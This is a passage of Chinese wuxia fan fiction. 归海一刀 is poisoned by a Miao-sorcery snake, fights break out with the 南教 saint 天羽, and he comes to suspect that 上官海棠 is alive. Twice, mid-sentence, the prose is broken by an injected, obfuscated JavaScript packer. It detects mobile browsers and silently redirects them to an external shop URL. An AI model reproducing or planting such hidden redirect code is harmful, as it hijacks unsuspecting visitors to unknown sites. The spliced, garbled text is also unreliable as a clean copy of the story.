狇雄心知这一番话全是虚假,可他仍是不愿拆穿。他看着近在咫尺的面容,这是他最为熟悉、自小爱慕之人的面容,却不知何时变得如此冰冷陌生,可即使如此,他仍是舍不下,仍旧奢望有朝一日她能够再度绽放真心的笑容。 “你倒是说句话嘛!到底……” 狇雄没有再让她说下去,捧起她的脸,霸道地吻下去,将一切话语和不甘尽数咽下。她没有推拒反抗,而是顺应享受这个吻,因为她知道,无论她提出什么要求,他都会答应。 自军营长谈已过去一夜,翌日清晨,阿雪收拾妥当,准备随军出发,却在队伍前头见到一个熟悉的身影。 “阿凉?” 阿雪惊讶地出声呼唤,而阿凉此时正努力攀上一匹高头大马。 “你这是?” “你要去临州吧?我和你一起上路。” “可是……” “从小到大,我都没有离开大山或是石溪镇,这次跟着你,正好去见识见识外面的世界。” 这话显然是借口,阿雪自然一听即知。 “你又何必如此,我根本不值得你……” “值不值得该由我说了算!”阿凉高声打断阿雪,比起之前的小心试探,这一次阿凉的话语中明显多了几分偏执,“你是汉人,所以可能不知道,我们苗家男儿一旦喜欢上一位女子,他所说的每一句话都由山神见证,不能反悔。我说了会一直帮你找到家人,就一定遵守诺言。” “可是我去临州就是为了寻找……” “那不是正好吗?我也想见见你口中的归海一刀。” “可我此行是跟随狇清世子,实在是不方便……” “这一点你不用担心!” 阿凉手指前方,阿雪回望,只见狇清也牵马走来,笑着向二人打招呼。 “狇清世子!”还未等狇清开口,阿凉已抢先说道,“你今早答应我,允许我跟随你们一同上路,是吧?” “是,归海姑娘是石溪镇的恩人,也就是我狇府恩人,阿凉兄弟既然是她的朋友……” “他不是……”阿雪张嘴想要辩解,却不知该如何措辞,只能急得直跺脚。 直到此刻,狇清才察觉出两人之间气氛微妙,却为时已晚。 “我们苗人也是讲信用的,狇清世子不会反悔吧?” “这……这是自然,只要阿凉兄弟不嫌旅途劳顿……” 眼看着阿雪脸色越发难看,狇清只好赶紧离开。 “阿凉……” “你不要再说!我知道,你之所以不肯留下来,就是因为归海一刀,那么我就要亲眼看看那位归海一刀是否配得上你的。如果……如果他是和我一样的心意,那到时候,就按照苗家规矩比武决斗,如果我输了,就绝不再纠缠。” 阿凉说得斩钉截铁,这让阿雪实在不知该如何劝解。她只听说苗人性烈如火,却不想对于情爱之事也如此偏执。对于这位救她性命、一路相帮的苗家小伙,阿雪无比感激,也不愿再多伤害他,只是眼下好话歹话都已说遍,阿凉却还是固执地不肯放手,阿雪实在不知如何是好。 一方过于沉重的情义,对于另一方便是负担;不该得到感情,却要强求,结果只能是害人害己,只是沉沦于情网之人,未必明白这些道理。 就在狇清一行启程几日之后,有两个人由凤鸣山走出,进入石溪镇。 自那日山中遇袭,一刀身中蛇毒,天羽击杀巫帮帮主,在他身上并未寻得解药。凤鸣山被巫帮占据,不知还有多少凶险,眼下天羽又击杀巫帮帮主,自然不能多做停留。于是二人快马加鞭,翌日黄昏时分已走出凤鸣山,进入石溪镇。 说起一刀身上的毒伤,那日被蛇咬伤后,一刀立即运气闭穴,制止蛇毒蔓延。但说来奇怪,这蛇毒毒性虽然不烈,却无法用内力逼出,一刀只能继续运功压制,任由蛇毒在体内盘桓。 路上,天羽几次提出由她用南教秘传功法为一刀解毒,皆被一刀一口回绝,只说到了石溪镇再找大夫诊治。 “别傻了,你看看这个!” 眼见一刀如此固执,天羽急得将一个蛇头举到一刀眼前,那正是咬伤一刀的蛇头,看大小以及蛇头形状,应该是竹青蛇,却有着诡异的斑纹。 “这是苗疆蛊毒,把普通的竹青蛇用其他剧毒之物喂养,炼制更强的毒。” “那又如何?” “如何?蛊毒制法变化万千,除了制蛊之人以外,没有人知道他是用什么毒物制蛊,自然不可能配出对症的解药,你还指望那些庸医能够救你?” “不试试怎么知道?况且生死有命,若真是解不了,就认命吧!” “我都说了我可以救你,你为什么不信?” 一刀没有回答,甚至转过脸去不再理睬。 “我明白了,你是怕我会趁机害你。”天羽冷笑一声,颇有嘲讽激将之意,“没想到归海大侠也有害怕的时候!” 对此,一刀毫不理睬,只淡然道: “归海一刀从不欠人人情。” 不是疑虑,不是恐惧,而是发自内心的拒绝,不想与她扯上关系,哪怕代价是有可能为此赔上性命。数月的相处下来,天羽早已见识归海一刀的冷漠疏离,却未曾见过眼下这般抗拒,仿佛用最坚硬的盔甲将内心封闭起来,将最冷酷无情的一面展现他人。 “若是上官海棠的情,你怕是不会拒绝吧?” 短短一句话,却犹如利箭穿透盔甲,击中内心最痛处,一刀狠狠瞪了一眼,问道: “你怎么知道?” “我奉命接近你,自然把你的过去查得一清二楚。” 此话不假,在接受母亲命令之后,天羽立即动用南教情报网将一刀的过去彻底调查,包括那些刀光血影的过往、与上官海棠百转千回的磨难以及生死不弃情义。以天羽的年纪,她尚不理解世间怎会有这样的人,看似无情,最是重情,只对一人重情,便对世间无情。虽是不解,却不禁被其深深吸引。 “你不配提她!” 一刀一字一顿,犹如冰锥扎在天羽心上,她本想辩驳,却又无从开口。她竟觉得一刀说得不错,她从未靠近他的心,又怎配提起他心中那个圣洁的名字? 二人就这样各自沉默地来到石溪镇。 在出发前,一刀调阅有关滇南各地卷宗,心中对于滇南各地风土人情大致有数。据卷宗记载,石溪镇位于官道枢纽,是商旅往来聚居之地,理应繁华热闹,如今亲眼目睹却大不一样。 二人入夜时分走到镇口,只见火光烛天,但这并不似市井灯火那般温暖,而是一列官服士兵手举火把戒严。一个士兵头目见二人牵马走来,立即提刀上前阻拦,他的目光盯着天羽,上下打量,沉声问道: “你们是什么人?” “我是什么人轮不到你来问,滚开!” 天羽生为南教教主的女儿,自小被奉为圣女,养尊处优,众星捧月,以至于性情骄纵,加之她与一刀闹了不快,满腹火气无处发泄,眼下再遇上士兵阻拦盘问,被反复打量,怒火化为杀气,一记眼刀狠狠瞪去。 那士兵头目被天羽狠狠一瞪,吓了一跳。石溪镇疫灾初平,惶惶不安,他奉命率队戒严,本就紧张,见陌生女子前来,又是苗家女子打扮,已生疑心,再被一吓,目光瞥见天羽腰间所缠软鞭,知她会武,一惊之下,放声大喊: “她是苗人,先拿下再说!” 其余士兵闻声而动,正欲一起扑上。 “混账!” 忽然间,一声怒喝如惊雷炸开,吓得在场所有人心神一震。只见原本默不出声的一刀走上前来,双目炯炯瞪向士兵头目。 “你身为朝廷官兵,食君俸禄,理应秉公执法。无论汉苗,凡我大明子民,一视同仁,没有罪证就不能随意擒拿,你连这点道理也不懂吗?” 一刀声如洪钟,训得士兵头目哑口无言。天羽亦是心中一震,她想不到看似冷漠的一刀,竟会如此仗义相帮。 士兵头目脸上青一阵白一阵,一刀所说字字在理,他本无言反驳,可他平日官威使惯,如今在手下面前被接连呵斥,大失颜面,正欲发怒,却又被打断。 “怎么回事?” 一阵沉稳的声音从后方传来,士兵闻声分成两列,让出道路,一个年轻人走上前来,他所穿军服更为考究,看样子似是高级军官。士兵头目立即上前告状。 “大人来得正好!我奉命巡查,逮住这两个可疑之人,他们意图拒捕……” 岂料士兵头目话未说完,那高级军官竟对着一刀单膝跪下。 “属下拜见庄主!” 这高级军官正是护民山庄密探,也是段天涯的亲信近卫,名叫景严。原来石溪镇瘟疫消息早已传扬开来,就在狇清一行离开后第二日,滇南宣慰使游赋得率兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292475|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶到。游赋得思虑周全,得知石溪镇瘟疫实情之后,担忧南教残党再返回报复,于是派兵把守要道,严查旅人。成是非奉皇帝命令保护游赋得,自然跟随前来,而离开京城之前,天涯担心成是非处事不周,又派遣亲信近卫随行辅助。 “起来吧!”一刀唤起景严,环顾四周,问道,“这里发生了什么事?” “回禀庄主,石溪镇一个月前发生瘟疫,宣慰使游赋得大人听闻之后,率兵赶来救灾。属下治军不严,不知是否有冲撞……” “这么说,成是非也来了?”一刀丝毫不提方才的冲突冒犯,淡淡开口道,“带我去见他。” 景严引路,将一刀带往莲生药堂。刚到药堂门外,忽见一个人影飞出,掌风呼啸,扑向一刀。一刀眼神一凛,转瞬拔刀横削,那人影颇为灵活,亦在电光火石之间,变掌为指,往刀身一弹,借力再起。二人皆无意厮杀,反似嬉闹,因此所使力道不足三分。那人影借力凌空身形一旋,转眼落地,潇洒至极。 “哟,好久不见,木头!” 成是非性情顽皮,与一刀一年不见,甫一重逢,就出手打闹,还十分熟络地伸手搭上一刀肩膀。可他不知道一刀身中蛇毒,方才打闹动了真气,眼下又被碰到肩上伤口,疼得倒吸冷气。跟在一旁的天羽看出不妥,立刻上前一把推开成是非,扶住一刀。 “他身上有伤,你小心点!” “嗯?” 直到此时,成是非才注意到一刀身后跟着一位俏丽的苗家少女,不禁好奇地挑眉笑道: “你可以啊,木头!一年没见,什么时候身边多了这么一位漂亮姑娘?接到飞鸽传书的时候,我还奇怪你为什么要来滇南,现在看来,是来会佳人的吧?” 被成是非这么一调侃,一刀也反应过来,大力地甩开天羽。 “你怎么还在这里?别再跟着我!” 天羽本是关心一刀,却被再次冰冷地推拒,她生性高傲,饶是对一刀再有好感,此刻心中也只剩委屈,于是红着眼圈高声道: “谁跟着你了?这路是你的吗?我爱去哪里你管得着吗?” “喂,好端端地怎么吵起来?一刀,这就是你不对!对女孩子要和气一点,尤其是这么漂亮的……” “你够了!” 成是非本是好心劝架,却被天羽厉声喝止。天羽本就心中委屈,又见成是非嬉皮笑脸,言语轻佻,火气更盛,于是把满腹愤怒向他发泄。 “你这个人怎么回事?嘴上没把门似的!都说汉人讲礼,就是你这样吗?” 成是非一番好意反遭怒骂,本应生气,但他性情豁达,又见眼前这位苗家少女容貌美丽,偏是怒气冲冲,叉着腰骂人的架势倒有几分像自己的郡主老婆,不禁玩性大发,本想着再逗弄两句,却突然被扯住耳朵,疼得他直咧嘴。 “你啊你啊,一会儿看不住都不行,张嘴就胡说八道!” 云萝不知何时已走到成是非背后,一把揪住他的耳朵。而跟在云萝身边的,还有一位身穿绯色官服的男人。 “别人不知道,你还不知道吗?一刀对海……情深义重的,怎么可能有什么佳人?” 话虽这样说,可云萝还是忍不住好奇,上下仔细打量一刀身边的少女,也不得不承认她的确承得起“绝世佳人”四字。 “你们这是……” “什么都不是,同路而已!”一刀已经厌烦这样的误会,于是扯开话题,他看向一旁身穿绯色官服的人,问道:“这位是?” “在下滇南宣慰使游赋得。这位想必是护民山庄归海一刀庄主。” “是。”一刀颔首回礼,又四下环顾,只见兵士们将一个个地木箱搬进药堂,好奇问道,“这是在……” “这些是药材和粮食,都是疫灾之后百姓急需之物。归海庄主既然今夜来此,想必知道石溪镇上所发生之事。” 一刀稍稍点头。 “一个月前……” “其实我们一早就收到消息,听说石溪镇发生瘟疫。”成是非一把抢过话头,滔滔不绝地说起来,“我们本想尽早带兵赶来救灾,结果倒霉,路上碰上山石崩落,毁了官道,足足耽误好几天,今天早上才赶到。本以为耽误这么久,灾情怕是无法挽回,没想到等我们赶到之时,疫情已见平稳,百姓也有了治疫之法。这还要多谢那位狇府世子,听说要不是他先带兵赶到,平息暴乱,石溪镇灾情也不会这么快得到控制。” “狇清?”听到这里,天羽不禁惊讶地小声嘟哝。 “说起来,还不是怪那帮魔教妖人!”话至此处,云萝愤愤说道,“我听镇上百姓说,这次疫灾先是魔教妖人在水里下毒所致,然后又来装神弄鬼,还要捉小女孩火祭,简直丧心病狂……” “住口!”原本在一旁默不作声的天羽突然破口骂道,“什么魔教、什么妖人,你们汉人说话都是这样歹毒的吗?我南教创教数百年,滇南百姓人人敬仰,为何要下毒害人?” 天羽这一发难,倒把众人闹糊涂,云萝正思量着哪里得罪这位素未谋面的少女,仔细一看,却发现天羽腰封上一处鲜红的凤仙花标志。 “你是魔教的……” “南教圣女花天羽是也!”天羽不卑不亢,高声答道。 只是这一声也惊动四周的人,尤其是镇上百姓,纷纷向天羽投来愤怒的目光。 “干什么……”乍然身处这么多敌对目光之下,天羽不禁有些慌乱,却还是强定心神高声辩解道,“你们也相信汉人的胡言乱语吗?南教辅佐狇府治理滇南多年,从无劣迹,如今下毒害你们有什么好处?” “公道自在人心!”云萝一把打断天羽,“要是没有做过谁能冤枉你们!这一个月来在石溪镇上发生的一切,镇上百姓就是见证。你们魔教本就是旁门左道,如今还敢妖言惑众,害我大明子民。还有那个什么教主,一看就是妖媚,打伤成是非不说,还盗了……” “不许你侮辱我母亲!” 没等云萝说完,天羽已抽出腰间软鞭,朝云萝当头抽去。云萝急忙躲闪,长鞭击中她身后木柱,留下一道深深鞭痕。云萝被吓了一跳,她想起几个月前正是魔教教主重伤成是非,又听说魔教巫师在石溪镇所行恶事,一时间旧恨新仇涌上心头,也不再客气,拔出随身软剑,向天羽刺去。成是非见状急道: “哎呀,这怎么说打就打起来!一刀你快管管!” “为什么要我……” “那姑娘是你带来的,你不管谁管?” 一刀一向不愿做口舌之争,再加上眼前情况混乱,也就不再多说。 只见天羽、云萝二人相斗,剑光鞭影交织往来。云萝剑走连环,快如疾风,一刀见之心中感慨,一年不见,云萝武功大有进境。可相比之下,天羽更胜一筹,她的长鞭柔软,犹如灵蛇,在剑光之中穿梭往来,直逼云萝双目、关节等要害之处,是以不过片刻,云萝已连遇险境。云萝毕竟年轻,加之极少行走江湖,缺乏定力,一见天羽出手狠辣,愈发恼火,于是不管不顾地一昧蛮攻,一连刺出几剑,亦是刺向双目、关节。岂料天羽此时竟凝身不动,毫不躲闪,待到剑锋将至,忽地冷笑一声,左手凌空一划。 “糟了!” 一刀暗叫不妙,他曾见过此招,正是在凤鸣山中天羽击杀巫帮帮主所使招数。 果然,只见天羽左手一划,云萝手中软剑忽地弯折,竟不可思议地剑尖一转,刺向云萝面门。云萝猝不及防,连忙躲闪,岂料一转身正正迎上天羽的长鞭。 这一鞭若是打实,非叫云萝皮开肉绽不可。成是非见之大惊,捡起一枚石子掷去,击中天羽右手虎口,长鞭脱手而去,而云萝趁此机会,身形一旋,长剑回环,向天羽胸口刺去。 再打下去只怕要两败俱伤,一刀当机立断,跳上去一把抓住云萝持剑手腕,转身却见天羽一掌打来,一刀没有多余的手防御,又因真气被封使不出“流云飞袖”,索性横过身挡在云萝身前。原本以为只是女人打架,见好就收,但一刀没有料到,刚才天羽被云萝一番话刺中痛处,再加上成是非的偷袭,一时间怒上心头,这一掌运足十成功力,已然收不住势,最终打在一刀右肩上。 若是以往,一刀功力深厚,受这一掌不算什么,但他此刻身中蛇毒,内力不济,再加上天羽全力一掌,顿时胸中气血翻涌,一股腥甜涌上喉头。 这一掌绝非天羽所愿,眼见一刀单膝跪地,她吓得赶紧去扶,却被云萝瞪了回去。 “一而再,再而三伤我护民山庄之人,你们南教可真是恶毒!” “不,我不是故意……” “不关她事,我中了蛇毒……” 话未说完,一刀咳出一口鲜血,随即昏倒在地。 12. 幻梦疑似真 惊觉故人归 当众人七手八脚地将一刀抬进后堂,他已彻底昏迷,毫无知觉。这可把成是非、云萝吓坏,在他们印象中的一刀,武功高强,身体硬朗,又对四周充满戒心,绝少受伤,更不会这样毫无防备地昏睡过去。唯一一次是在桃源谷,他身受内伤,又中剧毒,仍咬牙拼力与五毒搏斗,最终气力不支,才倒在海棠怀里。可眼下…… “无解。”宋怀仁大夫为一刀诊脉,片刻之后,只沉重说出一句。 “怎么会?”云萝顿时急了,连忙道,“一刀内力深厚,就算中了一掌,也不至于……” “肩上一掌只是小伤,真正危及性命的,是这位大人体内的蛇毒。” “都说宋大夫是石溪镇上医术最好的大夫,您应该……” “老夫只是在石溪镇上行医多年,并非医术天下第一,若真是第一,也不至于任由瘟疫祸害全镇百姓。”言及此处,宋大夫又是一声叹气,“若老夫诊断不错,这位大人乃是身中苗疆蛊毒。” “苗疆蛊毒?” “据说苗疆蛊毒是众多毒物培育而成,每一种蛊毒炼制之法,只有制蛊人才知,所以旁人是绝不可能配出解药。” “那如果用内力逼出呢?”成是非连忙问道。 “恐怕也不行。老夫刚才诊脉,探得这位大人内息浑厚,想来内功之高非常人所及,若是真能将蛇毒逼出,也不至于留到现在。” “真就没有办法了吗?”云萝急得快要哭了。 “我能救他!” 一阵银铃般的声音闯入,众人回头望去,只见天羽站在门外,刚才的对话想必她已经听见。 “你能救?打伤一刀可就是你!”云萝火气再起,撸起袖子就要上前拼命,却被成是非拦下。 “你说你能救一刀?连大夫都说无解,你一个小姑娘有什么办法?” “你听说过移花接木大法?” “可是指南教独门内功心法?”游赋得突然开口道,“相传此法乃南教初代教主玉龙仙客所创绝学,此法玄妙,不仅能使内力突飞猛进,更能保修练之人百毒不侵。” “你一个汉人,懂得可真多!” “见笑!”游赋得稍稍颔首,以表谦恭,“赋得受圣上之命,出任滇南宣慰使,自然要对滇南风土人情有一番了解,南教乃滇南第一大帮,就连黔国公狇王爷也倍加推崇,赋得岂敢怠慢!” 这一番话别有意味,但此时天羽已然顾及不上。 “既然知道,那就好办!眼下既然找不到解毒之法,你们就只能信我。” “非亲非故,你为何要出手相救?”云萝仍是不放心,大声质问道。 “怎么能算非亲非故?他……归海一刀就是为了救我才身中蛇毒,我花天羽从不欠人人情。更何况……” “何况什么?” “我……我喜欢他!当然不愿眼睁睁地见他去死!” 此话一出,顿时众人惊呆。天羽强忍脸上的灼烧感,直面四周讶异的目光。 “你们还在犹豫什么?”眼见众人犹疑,天羽急得跺脚,索性双手并拢举起,“你们要是还不信的话,就把我绑起来!” 这下众人更是惊讶,成是非、云萝尤甚,他们不敢相信,一向冷漠绝情的一刀,除了海棠之外,还有女子这样为他义无反顾。 “我以性命担保,绝不加害归海一刀。若是归海一刀死去,我南教圣女花天羽,甘愿陪葬!” 归海一刀再一次入梦。只是这一次有所不同,他不再是梦中之人,反而感觉身体飘忽,如同灵魂出窍一般地回到过去,回到海棠出嫁的前一夜。 一刀身不由己地凌空漂浮着,只能无言地看着这久别重逢的一幕。 遥相对望的两人,一方蓬头垢面、满脸怨念,一方妆容秀美、双目含泪,明明是在彼此走近,心却相隔甚远。 一刀不愿再听自己所说那些伤人的话,甚至不再同情彼时自己的满怀不解与愤懑,他只在意海棠眼中的泪光,他听着海棠向自己倾诉情意,哭泣着告诉自己她正是为了保护自己才委身下嫁,她愿意舍弃一切地保护自己、帮助自己放下仇恨,可彼时的一刀仍在怨恨。 直至那一滴泪珠由海棠的脸颊滑落,一刀感觉有万千刀刃由心头划过,他想冲破无形的屏障,抱住她,带她走,向她道歉,告诉她,如果真能时光重来,他可以不要仇恨、不要刀法,只求和她长相厮守。 “一刀,你在哪里?” 混沌中的一声呼喊,将一刀惊醒。与以往不同,这一次的梦境感觉如此之真,那声音仿佛就在耳边,他几乎能够看见海棠在人群中苦苦寻觅的身影。他挣扎着,努力伸臂要抱住那渐渐远去的背影,结果只摸到那一把冰冷的刀。 “大人醒了?” 一声苍老的声音将一刀彻底唤回现实,他强定心神四下张望,这才发现自己正睡在一张矮塌之上,而床榻边上,有一位白须老者和一名年轻人,那年轻人端着一碗热气腾腾的汤药放下,老者向年轻人吩咐了几句,年轻人就转身离开。 “你是……” “老夫名叫宋怀仁,是这家莲生药堂的掌柜和坐堂大夫。”宋大夫和蔼笑道,“受游大人和成郡马之托,来照顾大人。” 宋大夫见一刀要挣扎起身,赶紧劝道: “大人还是快些躺下,你体内蛇毒虽然大体已解,却还有些许残留。此时大人内力虚弱,若真气一动,蛇毒进入经脉,恐怕回天乏术。” “你知我中的什么毒?” “说来惭愧,老夫生在苗疆,又诊症多年,自以为医术精湛,却不及苗疆蛊毒玄妙。虽然知道大人身中蛇毒,却……” “治不了是吗?”对此,一刀十分平静,苦笑一声,复又躺下。 “大人不必忧心,虽然老夫医术浅薄,但南教之人却精通蛊毒,与大人同行的女子已运功为大人解毒。眼下蛇毒大体已解,余毒只需药物调理。” 说着,宋大夫捧起药碗,递给一刀。 “老夫日前有幸得高人指点,知道这滇南胡莲有解毒神效。大人若是信得过老夫,不妨试试。” 可一刀没有接过药碗,反而望向别处,只见不远处的一面屏风将房内空间一分为二,屏风之后,隐约可见一张床榻和一个睡下的人影。 “这位姑娘昨夜为大人运功疗毒,整整一夜未曾休息,想必十分疲累,这才刚刚睡下。” “生死有命,何必如此麻烦。” 一刀语气之中不见感激、不见喜悦,只是双目无神地望着上空,不知在思考什么。 宋大夫眼见一刀年纪轻轻,却老气横秋,对自身生死全不在意,得知自己剧毒已解之后更是毫无反应,不禁长叹一声,道: “我看大人年轻有为,武功高强,日后定能大展宏图,为何轻言生死?” “你叫我大人,你又了解我多少?” “这……老夫只知道大人是宣慰使游大人的贵客,想来是朝廷命官;又见大人肌肉健壮,手掌骨节分明,猜想该是习武之人。” 一刀心中苦笑,这位老大夫猜得不错,他是御前带刀侍卫,自然算是朝廷命官,他自小习武,论及刀法,当今武林无人能出其右,但…… “习武只能伤人,荣华富贵也非我所愿,这样的性命留着做什么?” “自然是为了那些在乎自己的人。不论郡马爷与游大人,就说这位姑娘……” 说话间,宋大夫抬眼望向屏风之后。一刀自昏迷被送进莲生药堂,就由宋大夫照顾医治,再到后来天羽自愿受困、为一刀运功疗毒,这一切他都看在眼里。虽然宋大夫怨恨南教在石溪镇所作所为,却还是不禁佩服这位女子为心上人不顾一切的勇气。 “就为这份深情厚义,大人也该保重自己。” 这一番话倒是有些触动一刀,他的眼中闪过一丝柔情,但随即又苦笑一声。 “小姑娘胡闹而已。她若真的了解我是什么人,只怕躲还来不及!” “就算不为关心自己的人,大人一身本领,难道甘愿就此埋没?大人若是不嫌老夫唠叨,可否听我一言?” 宋大夫一捻胡须,语重心长道: “老夫日前遇见一女子,虽是女儿之身,却身怀武功医术;虽非石溪镇人,但得知此地疫灾,毅然出手相救,不惜得罪南教,在祭台之上勇斗南教巫师,之后还愿以身试药。老夫问她为何要做到如此地步,她只说……” 言及此处,宋大夫顿了一顿,敬佩之情溢于言表。 “她说,学医习武,是为了行侠仗义,锄强扶弱。” 听到此处,一刀顿时呆愣不动。“习武,是为了行侠仗义,锄强扶弱。”这句话,正是很久之前某人对他说过。 宋大夫见一刀呆愣,还以为是自己一番话打动了他,接着说道: “一个女子都能明白的道理,大人不会……” “你说的那女子……” 一刀腾地坐起,宋大夫的描述在他脑海中勾勒出一个熟悉的身影,明明是绝无可能之事,但他此刻心中竟生出了一种奇异的希望。 “那女子现在何处?” “她已经离开。十天前,狇府世子率兵启程赶往临州,她随军同去。” “临州?我就是从临州来,怎么没碰上?” “大人从临州来,可走的是……” “凤鸣山。” “这就难怪。凤鸣山一直被巫帮占据,常人都不敢走那一条路。据老夫所知,狇府世子率兵走东川路。” 听到这里,一刀再也坐不住,霍然起身,抓起桌上药碗一饮而尽,无视宋大夫的劝阻,提起宝刀冲了出去。 再说另一边,天羽虽彻夜为一刀疗毒,疲累昏睡,却是浅眠。刚才一刀起身的动静已经把她惊醒,但她仍躺着装睡,将一刀与宋大夫的对话一字不落听入耳内。眼下见一刀突然冲出屋外,天羽稳不住了,掀开被子跳起身来,紧随而去。 而宋大夫也追去门外,对着一刀的背影急忙唤道: “大人要去哪里?” “临州!”一刀只丢下这一句,施展轻功飞身而出。 天羽追在一刀身后紧赶慢赶,眼下一刀剧毒刚解,还需休息,此刻却像是被勾走了魂一般,不管不顾地往前飞奔。天羽想不明白,刚才的交谈之中,到底是哪一句话有如此魔力,能够让心如死灰的归海一刀重燃生机? 一刀丝毫没有注意到身后追赶的天羽,他此刻只想尽快出城、赶去临州。可就在一刀经过一片广场之时,脚步不由得慢了下来。 此刻,天方微明,街道空荡,一座高高的祭台耸立在广场中央,十分扎眼。一刀望着祭台,脑海中闪过宋大夫方才说过的话,对,她曾在祭台上勇斗南教巫师,或许有痕迹留下。 想到这里,一股不安在一刀心中蔓延开来,不过是寥寥几句话,或许一切只是他的异想天开。但一刀无法忍受这种疑惑不定,最终深吸一口气,跃上高台。 一刀目光四下巡查,仔细搜索每一处痕迹,最终定格在一根木柱上。 这只是一根普通红木柱,若真要说什么特别之处,那就是在木柱中段,竟钉有几片花瓣。经过数日,花瓣早已风干,却仍是牢牢钉在木柱上,如此内力,如此绝技,江湖之上没有几人见过,但一刀识得。 那是在数年前,一刀三人外出学艺归来,铁胆神侯亲自考核三人武功。那时她独立场中,双手连扬,挥洒出漫天花雨,将周围百枚靶子瞬间击倒,而她一身白衣,映在花雨之中,潇洒出尘。 “这是……漫天花雨洒金钱……” 相传漫天花雨洒金钱乃是春梦了无痕之独门绝技,世间懂得这门武功之人,除了无痕公子本人,就只有他唯一的入室弟子。 而此时,天羽也赶来,她见一刀站在高台之上,对着一根木柱失神落魄,好奇走进一看。迎着东方第一道曙光,天羽惊讶地发现,归海一刀竟然流下泪水。 这头,一刀与天羽双双失踪;那头,成是非和云萝便炸了锅,尤其是云萝,从宋大夫那里得知一刀刚刚醒来,就带着那位南教圣女离开,气得直跳脚。 “好个一刀,还以为他是个老实人,结果喜新厌旧。海棠姐姐刚走一年,他就认识了个魔教妖女,现在竟然还一起私奔!” “哎呀,老婆,你瞧你说到哪儿去了?”相比之下,成是非倒是冷静得多,“一刀一向我行我素,想来就来,想走就走,你又不是不知道。何必这么着急?” “他要是自己走就算了,可他带着那个妖女啊!” 成是非一时语塞。 “你也说了,一刀一向我行我素,独来独往,身边带个女子本就奇怪,竟然还对她那般庇护纵容,被她打伤了一点不计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292476|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较,怎么能让人不多想?更何况,那妖女还自称……” 话至此处,云萝已说不下去。云萝生在皇宫,自小受礼教熏陶,饶是她生性直率泼辣,也做不到将情爱之事当众宣诸于口。 “那……那就算是这样也没什么。你总说一刀孤苦伶仃,如今有个姑娘喜欢他、关心他,也省得你总为他操心。” “这不一样,他要是找个身家清白的姑娘就算了,可那妖女来自魔教。眼下改土归流在即,一刀还是大内密探,就算那妖女长得再美,一刀也不该犯这糊涂!” “没有你想得这么夸张!”相比云萝的重重担心,成是非反而淡然一笑,自信地劝解道,“虽然我总说一刀是木头,可他也不是蠢木头,在这种大是大非的问题上,他不会犯糊涂。再说了,一刀的性子你还不清楚?他要是真能那么容易放下过往,也就用不着你为他担心。” “可一刀对那妖女态度的确不一般!” “或许因为她与海棠有些相似吧?” 此话说出,成是非也觉得缺少依据,要说海棠和天羽,二人眉眼容貌并无相似之处,可奇怪的是,成是非第一眼见到天羽,却不禁联想到海棠,或许是举手投足之间,天羽苗家女儿的豪爽直率,与海棠巾帼不让须眉的英气潇洒,有几分异曲同工之妙。 “其实,要我说啊,一刀对那位姑娘,最多是像对小妹妹的关心。而且,一刀也不是只对那位姑娘这样,你不觉得这一年来,一刀的脾气变好了许多吗?” “这倒是……” “就是这么回事,以前海棠还在,一刀就算脾气不好闯祸了,也有海棠帮他收拾,现在海棠不在了,一刀也得学会和人相处。说到底,这些都是因为他对海棠的情义,你还用担心什么魔教妖女?” 说到这里,云萝终于不再反驳,其实她也明白成是非所说道理,只是出于对南教的愤恨与成见,才这般反应激烈。说起南教,云萝又想起与南教的初次遭遇。 “说到底,都怪你!早些把海棠的事情告诉一刀,哪有这么多麻烦?” “这怎么能怪我?我和一刀才刚见面,你就和别人打起来,然后一刀为了给你们劝架受伤昏迷,我哪有时间说?再说了,眼下事情还没确定就告诉一刀,以他的性子,还不知道又惹出什么祸?” “怎么没确定?我都说了,我亲眼看见那棺材里的人就是海棠,你偏不信!” “我不是不信,只是这事情太蹊跷!你想想,海棠好好葬在京城,为什么突然出现在滇南?就算南教不安好心,盗了海棠的墓,可天涯还在京城,不可能一点消息都没有。” 话及此处,成是非一颗心再度悬了起来。事发之后,为求稳妥,成是非立即飞鸽传书回护民山庄,向天涯求证。虽说滇南与京城相距甚远,可护民山庄的信鸽训练有素,来回最多不过十天,而以天涯稳重,无论结果如何,定有回信。可时至今日,无任何消息。难道京城再出变故? “说到底,全怪那帮魔教妖人!”云萝再度愤愤开口,“兴风作浪,唯恐天下不乱!就算是与护民山庄有仇,那也光明正大地来啊!海棠姐姐都已经死了,为什么还要为难她?还有那个妖女,一幅情深义重的模样,谁知道打的什么主意?要敢胡来,我就叫她……” 云萝还未说完,忽然凌空飞来一个东西,径直飞入云萝口中,她下意识地一咬,才知是一枚青梅子,又苦又涩,呛得她直流眼泪。 “哪来的小贼?” 成是非见状,立即横身护在云萝面前,而满院的侍卫也纷纷拔刀护卫。 可紧接着,数枚暗器电射而来,击落护卫手中刀剑。未等众人反应过来,几条白影翩然落在院中。 “小姑娘家,嘴下饶人吧!” 只见为首之人是一名白衣公子,丰神俊朗,却面容严肃地盯着云萝。 “要你管!”云萝一口吐掉口中梅子,气急败坏道,“你可知道我是谁?” “自然知道,只是此处乃是滇南,化外之地,皇族身份未必管用,反而更容易招致灾祸,所以我劝郡主还是谨言慎行,少惹麻烦。” 